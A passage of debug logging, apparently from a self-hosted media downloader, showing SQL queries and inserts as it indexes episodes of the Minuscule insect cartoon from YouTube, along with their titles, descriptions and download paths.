s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:22.540 [debug] QUERY OK source="media_items" db=0.9ms idle=1368.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-09 15:30:00Z], 5] 22:14:22.544 [debug] QUERY OK source="media_items" db=2.2ms idle=1089.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nAn ant is carrying a crisp, which wasps soon snatch. After a mad race and a bad fall, our little bug wakes up in a strange universe, where crisps are actually alive.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Patatas fritas (Season 2)", "6f4e1736-c25c-45d1-82f2-fb011300e1b0", "1eojPRKb7bU", 295, false, 5, "https://www.youtube.com/watch?v=1eojPRKb7bU", 114, "/downloads/Miniscule Season 2/2020-01-09 Minuscule - Patatas fritas (Season 2)/Minuscule - Patatas fritas (Season 2) [1eojPRKb7bU].mp4", false, false, false, [], 1, ~U[2020-01-09 15:30:00Z], ~U[2025-12-12 05:14:22Z], ~U[2025-12-12 05:14:22Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nAn ant is carrying a crisp, which wasps soon snatch. After a mad race and a bad fall, our little bug wakes up in a strange universe, where crisps are actually alive.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Patatas fritas (Season 2)", "1eojPRKb7bU", 295, false, 5, "https://www.youtube.com/watch?v=1eojPRKb7bU", "/downloads/Miniscule Season 2/2020-01-09 Minuscule - Patatas fritas (Season 2)/Minuscule - Patatas fritas (Season 2) [1eojPRKb7bU].mp4", false, ~U[2020-01-09 15:30:00Z]] 22:14:22.544 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=90.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:22.545 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:22.546 [debug] QUERY OK source="media_items" db=0.6ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89126] 22:14:22.546 [debug] Current batch of media processed. Will check again in 1000ms 22:14:23.548 [debug] Current batch of media processed. Will check again in 1000ms 22:14:24.549 [debug] Current batch of media processed. Will check again in 1000ms 22:14:25.550 [debug] Current batch of media processed. Will check again in 1000ms 22:14:26.551 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn the snowy mountains, a small black spider finds it hard to carry a huge pine cone. She decides to build a suitable means of transportation.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 119, "filename" => "/downloads/Miniscule Season 2/2020-01-02 Minuscule - The sled and the ant ⧸ La luge et la fourmi (Season 2)/Minuscule - The sled and the ant ⧸ La luge et la fourmi (Season 2) [hJclg-5FVEw].mp4", "id" => "hJclg-5FVEw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hJclg-5FVEw", "playlist_index" => 115, "timestamp" => 1577979002, "title" => "Minuscule - The sled and the ant / La luge et la fourmi (Season 2)", "upload_date" => "20200102"} 22:14:26.552 [debug] QUERY OK source="sources" db=0.4ms idle=380.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:26.553 [debug] QUERY OK source="sources" db=0.4ms idle=381.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:26.554 [debug] QUERY OK source="media_items" db=1.1ms idle=382.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-02 15:30:02Z], 5] 22:14:26.557 [debug] QUERY OK source="media_items" db=2.1ms idle=384.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn the snowy mountains, a small black spider finds it hard to carry a huge pine cone. She decides to build a suitable means of transportation.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The sled and the ant / La luge et la fourmi (Season 2)", "6e496c71-0a10-4378-a0c5-bfb0f63a0844", "hJclg-5FVEw", 119, false, 5, "https://www.youtube.com/watch?v=hJclg-5FVEw", 115, "/downloads/Miniscule Season 2/2020-01-02 Minuscule - The sled and the ant ⧸ La luge et la fourmi (Season 2)/Minuscule - The sled and the ant ⧸ La luge et la fourmi (Season 2) [hJclg-5FVEw].mp4", false, false, false, [], 1, ~U[2020-01-02 15:30:02Z], ~U[2025-12-12 05:14:26Z], ~U[2025-12-12 05:14:26Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn the snowy mountains, a small black spider finds it hard to carry a huge pine cone. She decides to build a suitable means of transportation.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The sled and the ant / La luge et la fourmi (Season 2)", "hJclg-5FVEw", 119, false, 5, "https://www.youtube.com/watch?v=hJclg-5FVEw", "/downloads/Miniscule Season 2/2020-01-02 Minuscule - The sled and the ant ⧸ La luge et la fourmi (Season 2)/Minuscule - The sled and the ant ⧸ La luge et la fourmi (Season 2) [hJclg-5FVEw].mp4", false, ~U[2020-01-02 15:30:02Z]] 22:14:26.558 [debug] QUERY OK source="sources" db=0.5ms idle=96.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:26.559 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:26.560 [debug] QUERY OK source="media_items" db=0.6ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89128] 22:14:26.561 [debug] Current batch of media processed. Will check again in 1000ms 22:14:27.562 [debug] Current batch of media processed. Will check again in 1000ms 22:14:28.563 [debug] Current batch of media processed. Will check again in 1000ms 22:14:29.564 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nWasps pinch a carrot from a snowman and unwittingly annoy a centipede.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 119, "filename" => "/downloads/Miniscule Season 2/2019-12-26 Minuscule - Brooms sweep ⧸ Coup de balais (Season 2)/Minuscule - Brooms sweep ⧸ Coup de balais (Season 2) [nQ1-1C4Be_E].mp4", "id" => "nQ1-1C4Be_E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=nQ1-1C4Be_E", "playlist_index" => 116, "timestamp" => 1577374204, "title" => "Minuscule - Brooms sweep / Coup de balais (Season 2)", "upload_date" => "20191226"} 22:14:29.565 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1393.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:29.566 [debug] QUERY OK source="sources" db=0.3ms idle=1394.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:29.567 [debug] QUERY OK source="media_items" db=1.0ms idle=1395.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-12-26 15:30:04Z], 5] 22:14:29.570 [debug] QUERY OK source="media_items" db=2.2ms idle=1102.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nWasps pinch a carrot from a snowman and unwittingly annoy a centipede.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Brooms sweep / Coup de balais (Season 2)", "6764018f-35d1-471b-84ef-0a1249f262d0", "nQ1-1C4Be_E", 119, false, 5, "https://www.youtube.com/watch?v=nQ1-1C4Be_E", 116, "/downloads/Miniscule Season 2/2019-12-26 Minuscule - Brooms sweep ⧸ Coup de balais (Season 2)/Minuscule - Brooms sweep ⧸ Coup de balais (Season 2) [nQ1-1C4Be_E].mp4", false, false, false, [], 1, ~U[2019-12-26 15:30:04Z], ~U[2025-12-12 05:14:29Z], ~U[2025-12-12 05:14:29Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nWasps pinch a carrot from a snowman and unwittingly annoy a centipede.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Brooms sweep / Coup de balais (Season 2)", "nQ1-1C4Be_E", 119, false, 5, "https://www.youtube.com/watch?v=nQ1-1C4Be_E", "/downloads/Miniscule Season 2/2019-12-26 Minuscule - Brooms sweep ⧸ Coup de balais (Season 2)/Minuscule - Brooms sweep ⧸ Coup de balais (Season 2) [nQ1-1C4Be_E].mp4", false, ~U[2019-12-26 15:30:04Z]] 22:14:29.571 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=103.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:29.572 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:29.573 [debug] QUERY OK source="media_items" db=0.4ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89129] 22:14:29.573 [debug] Current batch of media processed. Will check again in 1000ms 22:14:30.574 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #NCQhBDMzex8/youtube video #NCQhBDMzex8 [NCQhBDMzex8].NA", "id" => "NCQhBDMzex8", "original_url" => "https://www.youtube.com/watch?v=NCQhBDMzex8", "playlist_index" => 117, "title" => "youtube video #NCQhBDMzex8"} 22:14:30.575 [debug] QUERY OK source="sources" db=0.3ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:30.575 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #KC87ualJsNY/youtube video #KC87ualJsNY [KC87ualJsNY].NA", "id" => "KC87ualJsNY", "original_url" => "https://www.youtube.com/watch?v=KC87ualJsNY", "playlist_index" => 118, "title" => "youtube video #KC87ualJsNY"} 22:14:30.576 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:30.576 [debug] Current batch of media processed. Will check again in 1000ms 22:14:31.577 [debug] Current batch of media processed. Will check again in 1000ms 22:14:32.578 [debug] Current batch of media processed. Will check again in 1000ms 22:14:33.579 [debug] Current batch of media processed. Will check again in 1000ms 22:14:34.580 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nOn a little country road, insects from all over join to watch an annual race. As soon as it starts, these 'wacky racers' will try to do everything they can to arrive first.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 292, "filename" => "/downloads/Miniscule Season 2/2019-12-05 Minuscule - At full speed ⧸ à Toute Berzingue (Season 2)/Minuscule - At full speed ⧸ à Toute Berzingue (Season 2) [Zh10U1WWXHI].mp4", "id" => "Zh10U1WWXHI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Zh10U1WWXHI", "playlist_index" => 119, "timestamp" => 1575559802, "title" => "Minuscule - At full speed / à Toute Berzingue (Season 2)", "upload_date" => "20191205"} 22:14:34.581 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1409.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:34.582 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1106.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:34.583 [debug] QUERY OK source="media_items" db=0.9ms idle=411.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-12-05 15:30:02Z], 5] 22:14:34.586 [debug] QUERY OK source="media_items" db=2.2ms idle=412.8ms INSERT INTO "media_items" AS m0 